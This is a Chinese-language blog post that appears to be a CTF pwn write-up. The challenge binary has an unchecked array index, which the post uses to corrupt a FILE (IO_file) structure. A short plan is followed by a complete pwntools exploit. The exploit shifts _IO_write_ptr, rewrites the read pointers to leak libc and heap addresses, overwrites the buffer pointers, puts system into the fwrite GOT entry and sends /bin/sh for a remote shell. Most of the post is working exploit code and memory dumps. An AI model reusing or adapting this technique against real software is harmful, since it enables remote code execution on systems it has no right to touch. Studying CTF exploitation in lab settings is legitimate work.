IO_file结构的使用
漏洞:数组上边界未检查。
程序有两个函数,create和spell,
create主要是初始化一个块,从random读入放到堆块中。
spell会将管理块+28的计数器-50
log_file是个IO_file文件结构,指针在块指针区前。
思路:
- 新建块,初始化系统
- 使用spell(-2)修改log_file的_IO_write_ptr 每次+写入字符数-50 向前移,移动时通过调节写入字符使其不改动原有数据。
- 将指针移动IO_file前,写数据到_IO_read_ptr,_IO_read_end 输出指定地址的值,泄露libc(got.puts)和堆地址(log_file指针)
- 修改_IO_write_base,_IO_write_ptr,_IO_write_end 读入_IO_buf_base,_IO_buf_end,再控制指针到got.fwrite写入system
- 写入/bin/sh
8个金币买的,搜不到,根据自己理解写了注释。
完整exp:
from pwn import *
local = 0
if local == 1:
p = process('./pwn')
else:
p = remote('111.200.241.244', 64475)
libc_elf = ELF('/home/shi/buuctf/buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so')
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
libc_start_main_ret = 0x20830
elf = ELF('./pwn')
context.arch = 'amd64'
context.log_level = 'debug'
def add(name):
p.sendlineafter(b"choice>> ", b'1')
p.sendafter(b"Give me the wizard's name:", name)
def spell(idx, msg):
p.sendlineafter(b"choice>> ", b'2')
p.sendlineafter(b"Who will spell:", str(idx).encode())
p.sendafter(b"Spell name:", msg)
#init logfile space
add(b'AAAA')
spell(0, b'AAAB')
'''
每次wrtie_ptr +写入字节数 -50 跳到值为0的位置,写入数据不能影响原数据
IO_write_ptr = 0x00000000014732a0
(+1-50)*8 + (13-50) + (+1-50)*3 + (+9-50) + (+1-50) = 0x0000000001473005
0x1473000: 0x0000000000000000 0x0000000000000231
0x1473010: 0x00000000fbad24a8 0x0000000001473480
0x1473020: 0x00000000014742a0 0x00000000014732a0
0x1473030: 0x00000000014732a0 0x0000000001473005 <-跳到log_file前部 0x0000000000000000 0x0000000000000231
0x1473040: 0x00000000014732a0 0x00000000014732a0
'''
[spell(-2, b'\x00') for i in range(8)] #_IO_write_ptr write1 +1 -50
spell(-2, b'\x00'*13)
[spell(-2, b'\x00') for i in range(3)]
spell(-2, b'\x00'*9)
spell(-2, b'\x00')
#修改read指针,读got表输出
spell(0, flat(b'\x00'*3, 0x231, 0xfbad24a8))
spell(0, flat(elf.got['puts'], elf.got['puts']+0x100)) #_IO_read_ptr,_IO_read_end
libc_base = u64(p.recv(8)) - libc_elf.sym['puts']
libc_elf.address = libc_base
print('libc:', hex(libc_base))
spell(-2, flat(elf.got['puts'], 0)) #0x0000000001473006
#读堆指针输出log_file指向堆中IO_file结构
spell(0, flat(b'\x00'*2, 0x231, 0xfbad24a8))
spell(0, flat(elf.sym['log_file'], elf.got['puts']+0x100, elf.got['puts'])) #_IO_read_ptr,_IO_read_end,_IO_read_base
heap_base = u64(p.recv(8)) -0x10
print('heap:', hex(heap_base))
spell(0, flat(heap_base+0x58,0,heap_base+0x58)) #_IO_write_base,_IO_write_ptr,_IO_write_end
spell(0, flat(0x602122,0x602123+0xa00)) #_IO_buf_base,_IO_buf_end
'''
0x1a91010: 0x00000000fbad24a8 0x0000000000602120
0x1a91020: 0x0000000000602120 0x0000000000602020
0x1a91030: 0x0000000001a91058 0x0000000001a91048
0x1a91040: 0x0000000001a91058 0x0000000001a912a0
0x1a91050: 0x0000000001a922a0 0x0000000000000000
0x1a91010: 0x00000000fbad24a8 0x0000000000602142
0x1a91020: 0x0000000000602b23 0x0000000000602122
0x1a91030: 0x0000000000602122 0x0000000000602122
0x1a91040: 0x0000000000602122 0x0000000000602122
0x1a91050: 0x0000000000602b23 0x0000000000000000
'''
for i in [0,0x40,0]:
spell(-2, p8(i))
#_IO_write_ptr = 0x60208e
spell(0, flat(b'\x00'*2,libc_elf.sym['system'])) #got.fwrite
spell(0, b'/bin/sh')
p.interactive()
该博客详细解析了一个利用IO_file结构漏洞进行内存操纵的exploit过程。首先,通过create和spell函数初始化和修改内存布局,然后通过精心计算的偏移量,逐步调整IO_file结构指针,实现对libc和堆地址的泄露。接着,通过读写指针的操纵,控制got表中的puts和fwrite,最终注入system函数和/bin/sh字符串,实现远程shell的获取。博客深入探讨了漏洞利用的技术细节和步骤,展示了缓冲区溢出攻击的典型手法。
527

被折叠的 条评论
为什么被折叠?



